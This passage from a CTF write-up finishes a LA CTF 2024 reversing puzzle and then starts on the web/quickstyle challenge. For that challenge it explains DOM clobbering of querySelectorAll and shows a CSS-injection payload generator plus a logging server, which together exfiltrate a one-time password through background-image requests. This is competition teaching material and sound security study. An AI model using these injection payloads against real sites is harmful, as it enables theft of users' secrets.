<p>This looks for every occurrence of 10 in the last element of <code class="language-plaintext highlighter-rouge">e</code> and looks up the first character of the pair based on the indices. It keeps track of these potential characters for the previous element of <code class="language-plaintext highlighter-rouge">e</code>. It repeats the process for previous characters, except it only considers character pairs where the second character was a potential candidate from the last round.</p>

<p>This was the output. Each row represents potential candidate letters from each 2D array in <code class="language-plaintext highlighter-rouge">e</code>.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>abcefhmnpqrstuvxz_
adefgijkmnoprtuvxy_
adghijknoqtuvx_
cdegilnpswxyz_
acdegijlmnorstz
aeghijnoprswx_
abcehjkmrstuvyz_
acfijlmopqswxyz_
dhijmnprstu_
ikmnopuyz_
agjntvwy_
bdefklotxy_
abfghkmnopqtuyz_
acefghijmnopstuxyz_
efhklostuvwxz_
acdeghijlmnorsvz
aefklmpuvxy_
abcefhjoux_
cdfhnpqtw
abeijklmoswx
abcdjlnpstuvwy_
bcefghjknrtxyz_
adfgijmnoptuvxyz_
acglmnortyz
beghimnopqtwxz
cefghlqrstvx
</code></pre></div></div>

<p>This was disappointing to see, albeit not surprising, because I was hoping that it could narrow down the possibilities over time, revealing just one possible line of characters.</p>

<p>I decided to try keeping track of all the possible strings formed so far, rather than the characters themselves. Currently, it looked like there could be exponentially many possible flags. But maybe there is only a handful of possible strings of characters that jump around the place, making it seem like any character was possible for each step.</p>

<!-- prettier-ignore -->
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">alpha</span><span class="o">=</span><span class="dl">"</span><span class="s2">abcdefghijklmnopqrstuvwxyz_</span><span class="dl">"</span>
<span class="nx">extend</span> <span class="o">=</span> <span class="p">(</span><span class="nx">A</span><span class="p">,</span> <span class="nx">et</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">{</span>
  <span class="k">return</span> <span class="nx">A</span><span class="p">.</span><span class="nx">flatMap</span><span class="p">((</span><span class="nx">a</span><span class="p">)</span> <span class="o">=&gt;</span><span class="p">{</span>
  <span class="nx">index</span> <span class="o">=</span> <span class="nx">alpha</span><span class="p">.</span><span class="nx">indexOf</span><span class="p">(</span><span class="nx">a</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span>
  <span class="k">return</span> <span class="nx">et</span><span class="p">.</span><span class="nx">flatMap</span><span class="p">((</span><span class="nx">row</span><span class="p">,</span> <span class="nx">prevI</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="nx">row</span><span class="p">.</span><span class="nx">flatMap</span><span class="p">((</span><span class="nx">n</span><span class="p">,</span> <span class="nx">nextI</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">(</span><span class="o">!</span><span class="nx">a</span> <span class="o">||</span> <span class="nx">nextI</span> <span class="o">===</span> <span class="nx">index</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="nx">n</span> <span class="o">===</span> <span class="mi">10</span> <span class="p">?</span> <span class="p">[</span><span class="nx">alpha</span><span class="p">[</span><span class="nx">prevI</span><span class="p">]</span> <span class="o">+</span> <span class="p">(</span><span class="nx">a</span> <span class="o">||</span> <span class="nx">alpha</span><span class="p">[</span><span class="nx">nextI</span><span class="p">])]</span> <span class="p">:</span> <span class="p">[]))</span>
  <span class="c1">//return a.flatMap((b,next) =&gt;b === 10?[alpha[prev]+alpha[next]]:[])</span>
  <span class="c1">//return wow.length &gt; 0 ? [{ prev, poss: wow }] : []</span>
<span class="p">})</span>
<span class="p">}</span>
<span class="nx">last</span> <span class="o">=</span> <span class="nx">extend</span><span class="p">([</span><span class="dl">''</span><span class="p">],</span> <span class="nx">e</span><span class="p">.</span><span class="nx">at</span><span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">))</span>
<span class="k">for</span> <span class="p">(</span><span class="kd">let</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">2</span><span class="p">;</span> <span class="nx">i</span> <span class="o">&lt;</span> <span class="mi">8</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
  <span class="nx">last</span> <span class="o">=</span> <span class="nx">extend</span><span class="p">(</span><span class="nx">last</span><span class="p">,</span> <span class="nx">e</span><span class="p">.</span><span class="nx">at</span><span class="p">(</span><span class="o">-</span><span class="nx">i</span><span class="p">))</span>
<span class="p">}</span>
<span class="nx">last</span>
<span class="cm">/*A = e.at(-1).flatMap((a,prev) =&gt;{
  return a.flatMap((b,next) =&gt;b === 10?[alpha[prev]+alpha[next]]:[])
  //return wow.length &gt; 0 ? [{ prev, poss: wow }] : []
})
B = A.flatMap((a) =&gt;{
  index = alpha.indexOf(a[0])
  return e.at(-2).flatMap((row, prevI) =&gt; row.flatMap((n, nextI) =&gt; nextI === index &amp;&amp; n === 10 ? [alpha[prevI] + a] : []))
  //return a.flatMap((b,next) =&gt;b === 10?[alpha[prev]+alpha[next]]:[])
  //return wow.length &gt; 0 ? [{ prev, poss: wow }] : []
})*/</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">extend</code> is a function that takes <code class="language-plaintext highlighter-rouge">A</code>, a list of possible flag strings, and <code class="language-plaintext highlighter-rouge">et</code>, the current 2D array from <code class="language-plaintext highlighter-rouge">e</code>. It starts with the last pair, <code class="language-plaintext highlighter-rouge">extend([''], e.at(-1))</code>, then grows it about another 8 times.</p>

<p><img src="../images/lactf/glot-permutes.png" alt="306 possible flag strings. The first several end with `_deal`." /></p>

<p>It still grows exponentially, albeit pretty slowly. But it’s interesting that those first few strings all end in <code class="language-plaintext highlighter-rouge">_deal</code>!</p>

<p>I filtered the options by those that end in <code class="language-plaintext highlighter-rouge">_deal</code> and continued extending the possible strings.</p>

<p><img src="../images/lactf/glot-free-deal.png" alt="17 possibilites, the first four end in `_free_deal`." /></p>

<p>Not that many more possibilities, but the ones ending in <code class="language-plaintext highlighter-rouge">_free_deal</code> look promising.</p>

<p>And so I kept going:</p>

<!-- prettier-ignore -->
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">alpha</span><span class="o">=</span><span class="dl">"</span><span class="s2">abcdefghijklmnopqrstuvwxyz_</span><span class="dl">"</span>
<span class="nx">extend</span> <span class="o">=</span> <span class="p">(</span><span class="nx">A</span><span class="p">,</span> <span class="nx">et</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">{</span>
  <span class="k">return</span> <span class="nx">A</span><span class="p">.</span><span class="nx">flatMap</span><span class="p">((</span><span class="nx">a</span><span class="p">)</span> <span class="o">=&gt;</span><span class="p">{</span>
  <span class="nx">index</span> <span class="o">=</span> <span class="nx">alpha</span><span class="p">.</span><span class="nx">indexOf</span><span class="p">(</span><span class="nx">a</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span>
  <span class="k">return</span> <span class="nx">et</span><span class="p">.</span><span class="nx">flatMap</span><span class="p">((</span><span class="nx">row</span><span class="p">,</span> <span class="nx">prevI</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="nx">row</span><span class="p">.</span><span class="nx">flatMap</span><span class="p">((</span><span class="nx">n</span><span class="p">,</span> <span class="nx">nextI</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">(</span><span class="o">!</span><span class="nx">a</span> <span class="o">||</span> <span class="nx">nextI</span> <span class="o">===</span> <span class="nx">index</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="nx">n</span> <span class="o">===</span> <span class="mi">10</span> <span class="p">?</span> <span class="p">[</span><span class="nx">alpha</span><span class="p">[</span><span class="nx">prevI</span><span class="p">]</span> <span class="o">+</span> <span class="p">(</span><span class="nx">a</span> <span class="o">||</span> <span class="nx">alpha</span><span class="p">[</span><span class="nx">nextI</span><span class="p">])]</span> <span class="p">:</span> <span class="p">[]))</span>
  <span class="c1">//return a.flatMap((b,next) =&gt;b === 10?[alpha[prev]+alpha[next]]:[])</span>
  <span class="c1">//return wow.length &gt; 0 ? [{ prev, poss: wow }] : []</span>
<span class="p">})</span>
<span class="p">}</span>
<span class="nx">last</span> <span class="o">=</span> <span class="nx">extend</span><span class="p">([</span><span class="dl">''</span><span class="p">],</span> <span class="nx">e</span><span class="p">.</span><span class="nx">at</span><span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">))</span>
<span class="k">for</span> <span class="p">(</span><span class="kd">let</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">2</span><span class="p">;</span> <span class="nx">i</span> <span class="o">&lt;</span> <span class="mi">8</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
  <span class="nx">last</span> <span class="o">=</span> <span class="nx">extend</span><span class="p">(</span><span class="nx">last</span><span class="p">,</span> <span class="nx">e</span><span class="p">.</span><span class="nx">at</span><span class="p">(</span><span class="o">-</span><span class="nx">i</span><span class="p">))</span>
<span class="p">}</span>
<span class="nx">last</span> <span class="o">=</span> <span class="nx">last</span><span class="p">.</span><span class="nx">filter</span><span class="p">(</span> <span class="nx">a</span> <span class="o">=&gt;</span> <span class="nx">a</span><span class="p">.</span><span class="nx">endsWith</span><span class="p">(</span><span class="dl">'</span><span class="s1">_deal</span><span class="dl">'</span><span class="p">))</span>
<span class="k">for</span> <span class="p">(</span><span class="kd">let</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">8</span><span class="p">;</span> <span class="nx">i</span> <span class="o">&lt;</span> <span class="mi">16</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
  <span class="nx">last</span> <span class="o">=</span> <span class="nx">extend</span><span class="p">(</span><span class="nx">last</span><span class="p">,</span> <span class="nx">e</span><span class="p">.</span><span class="nx">at</span><span class="p">(</span><span class="o">-</span><span class="nx">i</span><span class="p">))</span>
<span class="p">}</span>
<span class="nx">last</span> <span class="o">=</span> <span class="nx">last</span><span class="p">.</span><span class="nx">filter</span><span class="p">(</span> <span class="nx">a</span> <span class="o">=&gt;</span> <span class="nx">a</span><span class="p">.</span><span class="nx">endsWith</span><span class="p">(</span><span class="dl">'</span><span class="s1">_two_free_deal</span><span class="dl">'</span><span class="p">))</span>
<span class="k">for</span> <span class="p">(</span><span class="kd">let</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">16</span><span class="p">;</span> <span class="nx">i</span> <span class="o">&lt;</span> <span class="mi">24</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
  <span class="nx">last</span> <span class="o">=</span> <span class="nx">extend</span><span class="p">(</span><span class="nx">last</span><span class="p">,</span> <span class="nx">e</span><span class="p">.</span><span class="nx">at</span><span class="p">(</span><span class="o">-</span><span class="nx">i</span><span class="p">))</span>
<span class="p">}</span>
<span class="nx">last</span> <span class="o">=</span><span class="p">[</span><span class="dl">"</span><span class="s2">ve_one_get_two_free_deal</span><span class="dl">"</span><span class="p">]</span>
<span class="k">for</span> <span class="p">(</span><span class="kd">let</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">24</span><span class="p">;</span> <span class="nx">i</span> <span class="o">&lt;=</span> <span class="mi">26</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
  <span class="nx">last</span> <span class="o">=</span> <span class="nx">extend</span><span class="p">(</span><span class="nx">last</span><span class="p">,</span> <span class="nx">e</span><span class="p">.</span><span class="nx">at</span><span class="p">(</span><span class="o">-</span><span class="nx">i</span><span class="p">))</span>
<span class="p">}</span>
<span class="cm">/*A = e.at(-1).flatMap((a,prev) =&gt;{
  return a.flatMap((b,next) =&gt;b === 10?[alpha[prev]+alpha[next]]:[])
  //return wow.length &gt; 0 ? [{ prev, poss: wow }] : []
})
B = A.flatMap((a) =&gt;{
  index = alpha.indexOf(a[0])
  return e.at(-2).flatMap((row, prevI) =&gt; row.flatMap((n, nextI) =&gt; nextI === index &amp;&amp; n === 10 ? [alpha[prevI] + a] : []))
  //return a.flatMap((b,next) =&gt;b === 10?[alpha[prev]+alpha[next]]:[])
  //return wow.length &gt; 0 ? [{ prev, poss: wow }] : []
})*/</span>
</code></pre></div></div>

<p><img src="../images/lactf/golt-solve.png" alt="15 possibilities ending in `ve_one_get_two_free_deal`" /></p>

<p>Of these, <code class="language-plaintext highlighter-rouge">solve_one_get_two_free_deal</code> was the only one that looked like a flag, so I tried <code class="language-plaintext highlighter-rouge">lactf{solve_one_get_two_free_deal}</code>. It worked. 🎉 (Though by solving this, I disappointingly did not get two free flags.)</p>

<h2 id="webquickstyle">web/quickstyle</h2>

<blockquote>
  <p><strong>web/quickstyle</strong>
by r2uwu2.
12 solves / 495 points</p>

  <p>Script on the streets, style in the sheets, they call me the cascader.</p>

  <p>Site - <a href="https://quickstyle.chall.lac.tf/">quickstyle.chall.lac.tf</a></p>

  <p>Admin Bot - <a href="https://admin-bot.lac.tf/quickstyle">https://admin-bot.lac.tf/quickstyle</a></p>

  <p><strong>Downloads</strong>:
<a href="https://github.com/uclaacm/lactf-archive/tree/main/2024/web/quickstyle">quickstyle.zip</a></p>
</blockquote>

<p>The website presented me with,</p>

<blockquote>
  <p>Please specify a user in the query!</p>
</blockquote>

<p>I added <code class="language-plaintext highlighter-rouge">?user=1</code> to the URL, and the page changed to</p>

<blockquote>
  <p>Your One-Time-Password is: <code class="language-plaintext highlighter-rouge">H6IhdwaaRtuvCgUMt5zrqcVWcBYWK85LudjvKkDyJ72k298verj8Z88suvUJbjQp9Mak2OLYhyNof1bE</code></p>
</blockquote>

<p>With a disabled text input containing a random string of characters.</p>

<p>Looking at the provided <a href="https://github.com/uclaacm/lactf-archive/blob/main/2024/web/quickstyle/server.js">server.js</a>, there are a few things to note:</p>

<ul>
  <li>The one-time-password (OTP) is 80 characters long, selected from an alphabet of 62 possible characters (digits and uppercase and lowercase letters). It’s generated every time you access a user.</li>
  <li>The OTP isn’t stored anywhere unless Admin Bot accesses the page (identified by a special token in its cookie). In that case, the OTP is saved in a <code class="language-plaintext highlighter-rouge">Map</code> between usernames and OTPs.</li>
  <li>On a <code class="language-plaintext highlighter-rouge">/flag</code> page, which takes both a username <code class="language-plaintext highlighter-rouge">user</code> and the OTP <code class="language-plaintext highlighter-rouge">otp</code>, if the corresponding entry in the <code class="language-plaintext highlighter-rouge">Map</code> matches the given OTP, then the server will directly give the flag.</li>
</ul>

<p>This meant that to get the flag, you need to have Admin Bot visit <a href="https://quickstyle.chall.lac.tf/?user=1">https://quickstyle.chall.lac.tf/?user=1</a>, somehow grab the OTP it sees, then use the OTP on the <code class="language-plaintext highlighter-rouge">/flag</code> page to get the flag.</p>

<h3 id="css-injection-how">CSS injection: how?</h3>

<p>Based on the challenge name and description, it seemed very likely that you would have to use CSS injection. The OTP is in a text input, so I can use CSS selectors on its <code class="language-plaintext highlighter-rouge">value</code> to do certain things depending on its contents.</p>

<div class="language-css highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">input</span><span class="o">[</span><span class="nt">value</span><span class="o">=</span><span class="s2">'password'</span><span class="o">]</span> <span class="p">{</span>
  <span class="nl">background-image</span><span class="p">:</span> <span class="sx">url('https://example.com/')</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>In the above example, if the input value is <code class="language-plaintext highlighter-rouge">password</code>, then it sets its background image to <code class="language-plaintext highlighter-rouge">https://example.com/</code>, which will make the browser send a request to the page to try to get an image from it.</p>

<p>CSS injections usually involve one of two methods:</p>

<ul>
  <li>Taking advantage of CSS attribute selectors like <code class="language-plaintext highlighter-rouge">[value^="hello"]</code> or <code class="language-plaintext highlighter-rouge">[value*="hey"]</code> to test if the input value starts with or contains a certain string, respectively.</li>
  <li>Loading font files based on the characters used in the page.</li>
</ul>

<p>Looking at <a href="https://github.com/uclaacm/lactf-archive/blob/main/2024/web/quickstyle/note.js">note.js</a>, the web page accepts an additional URL parameter <code class="language-plaintext highlighter-rouge">page</code>, a URL (which could be a <code class="language-plaintext highlighter-rouge">data:</code> URL) that it fetches and inserts into the document.</p>

<!-- prettier-ignore -->
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="nx">message</span> <span class="o">=</span> <span class="k">await</span> <span class="nx">fetch</span><span class="p">(</span><span class="nx">url</span><span class="p">).</span><span class="nx">then</span><span class="p">(</span><span class="nx">r</span> <span class="o">=&gt;</span> <span class="nx">r</span><span class="p">.</span><span class="nx">text</span><span class="p">());</span>
<span class="k">if</span> <span class="p">(</span><span class="nx">message</span><span class="p">.</span><span class="nx">length</span> <span class="o">&gt;</span> <span class="mi">6000000</span><span class="p">)</span> <span class="k">return</span><span class="p">;</span>
<span class="nb">document</span><span class="p">.</span><span class="nx">querySelectorAll</span><span class="p">(</span><span class="dl">'</span><span class="s1">.message</span><span class="dl">'</span><span class="p">)[</span><span class="mi">0</span><span class="p">].</span><span class="nx">innerHTML</span> <span class="o">=</span> <span class="nx">message</span><span class="p">;</span>
<span class="nb">document</span><span class="p">.</span><span class="nx">querySelectorAll</span><span class="p">(</span><span class="dl">'</span><span class="s1">style</span><span class="dl">'</span><span class="p">).</span><span class="nx">forEach</span><span class="p">(</span><span class="nx">s</span> <span class="o">=&gt;</span> <span class="nx">s</span><span class="p">.</span><span class="nx">remove</span><span class="p">());</span>
</code></pre></div></div>

<p>It inserts the contents of the provided URL using <code class="language-plaintext highlighter-rouge">innerHTML</code>, which means I can perform my injection here. Curiously, it rejects <code class="language-plaintext highlighter-rouge">message</code> if it’s more than 6 MB, and annoyingly it also removes all <code class="language-plaintext highlighter-rouge">&lt;style&gt;</code> tags.</p>

<p>The content security policy (CSP) of the website is <code class="language-plaintext highlighter-rouge">font-src 'none'; object-src 'none'; base-uri 'none'; form-action 'none'; script-src 'self'; style-src 'unsafe-inline'</code>. This prevents us from trying to communicate with anything outside the website in many ways:</p>

<ul>
  <li>I can’t load custom fonts, so the font technique for CSS injection won’t work here.</li>
  <li>I can’t load plugins with <code class="language-plaintext highlighter-rouge">&lt;object&gt;</code> and <code class="language-plaintext highlighter-rouge">&lt;embed&gt;</code>.</li>
  <li>I can’t use <code class="language-plaintext highlighter-rouge">&lt;base&gt;</code>, which changes the base URL that all relative paths on the page and relative to.</li>
  <li>I can’t submit forms.</li>
  <li>I can’t use <code class="language-plaintext highlighter-rouge">onerror</code> attributes and other event handlers to run JavaScript; XSS is infeasible.</li>
  <li>I can’t use <code class="language-plaintext highlighter-rouge">&lt;link&gt;</code> tags to load external CSS to get around the removal of <code class="language-plaintext highlighter-rouge">&lt;style&gt;</code> tags.</li>
</ul>

<p>Curiously (with help from ChatGPT to brainstorm what the CSP doesn’t over), I still can load images and <code class="language-plaintext highlighter-rouge">&lt;iframe&gt;</code>s. However, my external <code class="language-plaintext highlighter-rouge">&lt;iframe&gt;</code>s can’t really communicate with or access anything on the web page with the OTP, so I didn’t know how to use them.</p>

<p>I could also use inline <code class="language-plaintext highlighter-rouge">style</code> attributes, but there’s no way to use CSS selectors inside them. While you can now <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_nesting">nest CSS rules</a>, this doesn’t seem to have been added to inline CSS.</p>

<p>So I got stuck and took a break.</p>

<p>While researching ways to get <code class="language-plaintext highlighter-rouge">&lt;iframe&gt;</code>s to work or add selectors to <code class="language-plaintext highlighter-rouge">style</code> attributes, I found a post<sup id="fnref:12" role="doc-noteref"><a href="#fn:12" class="footnote" rel="footnote">5</a></sup> that had something like this:</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;form</span> <span class="na">name=</span><span class="s">"getElementById"</span> <span class="err">...</span><span class="nt">&gt;</span>
  <span class="c">&lt;!-- ... --&gt;</span>
<span class="nt">&lt;/form&gt;</span>
</code></pre></div></div>

<p>I was trying to get rid of <code class="language-plaintext highlighter-rouge">document.querySelectorAll</code> using just HTML so it couldn’t remove my <code class="language-plaintext highlighter-rouge">&lt;style&gt;</code> elements. I knew that IDs create global variables that reference the element (for example, <code class="language-plaintext highlighter-rouge">&lt;span id="hey"&gt;</code> creates a global variable <code class="language-plaintext highlighter-rouge">hey</code>). However, it seems the built-in <code class="language-plaintext highlighter-rouge">document</code> object has priority over <code class="language-plaintext highlighter-rouge">&lt;span id="document"&gt;</code>.</p>

<p>It seems, based on this post, that using a <code class="language-plaintext highlighter-rouge">name</code> attribute similarly creates a new entry under <code class="language-plaintext highlighter-rouge">document</code>. For example, <code class="language-plaintext highlighter-rouge">&lt;form name="hey"&gt;</code> creates a new entry <code class="language-plaintext highlighter-rouge">document.hey</code>, and apparently <code class="language-plaintext highlighter-rouge">&lt;form name="getElementById"&gt;</code> had more priority than the built-in <code class="language-plaintext highlighter-rouge">document.getElementById</code> method.</p>

<p>So just by adding some HTML, I could replace <code class="language-plaintext highlighter-rouge">document.querySelectorAll</code> with a form of the same name. This breaks the code because <code class="language-plaintext highlighter-rouge">document.querySelectorAll</code> as a form isn’t a function anymore, so calling it throws a TypeError, and <code class="language-plaintext highlighter-rouge">&lt;style&gt;</code> elements are no longer removed. 🙌</p>

<p>Now, I could finally focus on CSS injection.</p>

<h3 id="exfiltrating-the-otp-with-css">Exfiltrating the OTP with CSS</h3>

<p>However, there was another problem. Most CSS injection examples you find online will check one character at a time. You can only use CSS attribute selectors to check if a string starts with something, but not if a string exists at some specific point in the string.</p>

<p>For example, it’s easy enough to have CSS that looks something like</p>

<!-- prettier-ignore -->
<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;style&gt;</span>
<span class="nt">input</span><span class="o">[</span><span class="nt">value</span><span class="o">^=</span><span class="s1">"a"</span><span class="o">]</span> <span class="p">{</span> <span class="nl">background-image</span><span class="p">:</span> <span class="sx">url('https://example.com/a')</span> <span class="p">}</span>
<span class="nt">input</span><span class="o">[</span><span class="nt">value</span><span class="o">^=</span><span class="s1">"b"</span><span class="o">]</span> <span class="p">{</span> <span class="nl">background-image</span><span class="p">:</span> <span class="sx">url('https://example.com/b')</span> <span class="p">}</span>
<span class="c">/* ... */</span>
<span class="nt">&lt;/style&gt;</span>
</code></pre></div></div>

<p>This would tell me what character the OTP starts with because it’ll load the corresponding background image from my web server.</p>

<p>However, there’s no way to check if the second character of the OTP is some letter. Attribute selectors don’t have any pattern matching like</p>

<div class="language-css highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">input</span><span class="o">[</span><span class="nt">value</span><span class="o">~=</span><span class="s1">"^.a"</span><span class="o">]</span> <span class="p">{</span> <span class="err">...</span> <span class="p">}</span>
</code></pre></div></div>

<p>where it checks the second character while allowing the first character to be anything. The only things CSS can check are:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">[attr="value"]</code> Whether the attribute is exactly the string.</li>
  <li><code class="language-plaintext highlighter-rouge">[attr^="value"]</code> Whether the attribute starts with a string.</li>
  <li><code class="language-plaintext highlighter-rouge">[attr$="value"]</code> Whether the attribute ends with a string.</li>
  <li><code class="language-plaintext highlighter-rouge">[attr*="value"]</code> Whether the attribute contains the string anywhere, at least once.</li>
  <li><code class="language-plaintext highlighter-rouge">[attr*="value" i]</code> Adding <code class="language-plaintext highlighter-rouge">i</code> at the end makes the comparison case insensitive.</li>
  <li><code class="language-plaintext highlighter-rouge">[attr|="value"]</code> This also can compare strings, but it has a special behavior that allows <code class="language-plaintext highlighter-rouge">lang="en"</code> and <code class="language-plaintext highlighter-rouge">lang="en-US"</code> to be treated similarly. It’s not particularly useful for anything but the <code class="language-plaintext highlighter-rouge">lang</code> attribute.</li>
</ul>

<p>Most CSS injection challenges you can find on the web don’t need to worry about the problem. Once they know what the secret starts with, they can create a new CSS file that checks if the secret starts with that character followed by some character.</p>

<!-- prettier-ignore -->
<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;style&gt;</span>
<span class="c">/* We know it starts with K */</span>
<span class="nt">input</span><span class="o">[</span><span class="nt">value</span><span class="o">^=</span><span class="s1">"Ka"</span><span class="o">]</span> <span class="p">{</span> <span class="nl">background-image</span><span class="p">:</span> <span class="sx">url('https://example.com/Ka')</span> <span class="p">}</span>
<span class="nt">input</span><span class="o">[</span><span class="nt">value</span><span class="o">^=</span><span class="s1">"Kb"</span><span class="o">]</span> <span class="p">{</span> <span class="nl">background-image</span><span class="p">:</span> <span class="sx">url('https://example.com/Kb')</span> <span class="p">}</span>
<span class="c">/* ... */</span>
<span class="nt">&lt;/style&gt;</span>
</code></pre></div></div>

<p>But we don’t get this luxury. Our secret is a one-time password that changes with every page load, and every page load will invalidate the user’s previous OTP by overwriting it with the new one. If we wanted to do something like this, we’d need to have a rule for every possible string. There are 62 possible characters for each of the 80 characters in the string, so the list of possible strings will grow long quickly. Our CSS file has to be under 6 MB.</p>

<p>One idea I had was to use CSS nesting to try generating these combinations without actually iterating through all of them. Something like,</p>

<div class="language-scss highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">a</span> <span class="p">{</span>
  <span class="k">&amp;</span><span class="nt">a</span> <span class="p">{</span>
    <span class="k">&amp;</span><span class="nt">a</span> <span class="p">{</span>
      <span class="nc">...</span> <span class="p">{</span>
        <span class="o">[</span><span class="nt">value</span><span class="o">=</span><span class="s2">"&amp;"</span><span class="o">]</span> <span class="p">{</span>
          <span class="nl">background-image</span><span class="p">:</span> <span class="sx">url('https://example.com/' &amp;)</span><span class="p">;</span>
        <span class="p">}</span>
      <span class="p">}</span>
    <span class="p">}</span>
    <span class="nc">...</span>
  <span class="p">}</span>
  <span class="k">&amp;</span><span class="nt">b</span> <span class="p">{</span>
    <span class="nc">...</span>
  <span class="p">}</span>
  <span class="nc">...</span>
<span class="p">}</span>
<span class="nt">b</span> <span class="p">{</span>
  <span class="nc">...</span>
<span class="p">}</span>
<span class="nc">...</span>
</code></pre></div></div>

<p>Perhaps unsurprisingly, this is not how CSS nesting works.</p>

<p>Because of the CSP, I can’t <code class="language-plaintext highlighter-rouge">&lt;link&gt;</code> or <code class="language-plaintext highlighter-rouge">@import</code> a CSS file from a custom web server that streams new rules over as characters get discovered one by one.</p>

<p>What I could do, however, is to generate a CSS file that checks if every possible sequence of three characters is in the string. Then, hopefully, I can reconstruct the OTP from just these trigraphs.</p>

<!-- prettier-ignore -->
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="kd">const</span> <span class="nx">alpha</span> <span class="o">=</span> <span class="dl">'</span><span class="s1">0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ</span><span class="dl">'</span>
<span class="kd">let</span> <span class="nx">html</span> <span class="o">=</span> <span class="dl">'</span><span class="s1">&lt;form name=querySelectorAll&gt;&lt;style&gt;</span><span class="dl">'</span>
<span class="k">for</span> <span class="p">(</span><span class="kd">const</span> <span class="nx">a</span> <span class="k">of</span> <span class="nx">alpha</span><span class="p">)</span>
  <span class="k">for</span> <span class="p">(</span><span class="kd">const</span> <span class="nx">b</span> <span class="k">of</span> <span class="nx">alpha</span><span class="p">)</span>
    <span class="k">for</span> <span class="p">(</span><span class="kd">const</span> <span class="nx">c</span> <span class="k">of</span> <span class="nx">alpha</span><span class="p">)</span>
      <span class="k">void</span> <span class="p">(</span><span class="nx">html</span><span class="o">+=</span><span class="s2">`[value*=</span><span class="p">${</span><span class="nx">a</span><span class="p">}${</span><span class="nx">b</span><span class="p">}${</span><span class="nx">c</span><span class="p">}</span><span class="s2">]{background:url(http://localhost:8000/</span><span class="p">${</span><span class="nx">a</span><span class="p">}${</span><span class="nx">b</span><span class="p">}${</span><span class="nx">c</span><span class="p">}</span><span class="s2">)}`</span><span class="p">)</span>
<span class="c1">//location = '/?user=1&amp;page=' + html.slice(0, 6e6)</span>
 <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="mi">6</span><span class="nx">e6</span><span class="o">/</span> <span class="nx">html</span><span class="p">.</span><span class="nx">length</span><span class="p">,</span> <span class="dl">'</span><span class="s1">kept</span><span class="dl">'</span><span class="p">)</span>
<span class="k">await</span> <span class="nx">Deno</span><span class="p">.</span><span class="nx">writeTextFile</span><span class="p">(</span><span class="dl">'</span><span class="s1">heyy.html</span><span class="dl">'</span><span class="p">,</span> <span class="nx">html</span><span class="p">.</span><span class="nx">slice</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">6</span><span class="nx">e6</span><span class="p">))}</span>
</code></pre></div></div>

<p>Each trigraph requires an attribute selector that checks if the trigraph is in the OTP input’s value, and if so, it sets the input’s background image to an image URL that includes the trigraph. It printed <code class="language-plaintext highlighter-rouge">0.45773311489291907 kept</code>, so less than half of the trigraphs could fit under the 6 MB limit.</p>

<p>I played around with the length of the URL to see if a short domain was important for the image URL, but compared to the rest of the selector, the length of the URL did not significantly affect how many trigraphs could fit in 6 MB. It would always keep around half of all trigraphs.</p>

<p>So okay, maybe even with half the trigraphs being reported, the remaining ones might still be enough to reconstruct the string.</p>

<p>I started a simple web server that just prints out the URLs of requests received:</p>

<!-- prettier-ignore -->
<div class="language-ts highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="nx">Deno</span><span class="p">.</span><span class="nx">serve</span><span class="p">((</span><span class="nx">req</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">(</span><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nb">decodeURIComponent</span><span class="p">(</span><span class="nx">req</span><span class="p">.</span><span class="nx">url</span><span class="p">)),</span> <span class="k">new</span> <span class="nx">Response</span><span class="p">(</span><span class="dl">"</span><span class="s2">hello world</span><span class="dl">"</span><span class="p">)));</span>
</code></pre></div></div>

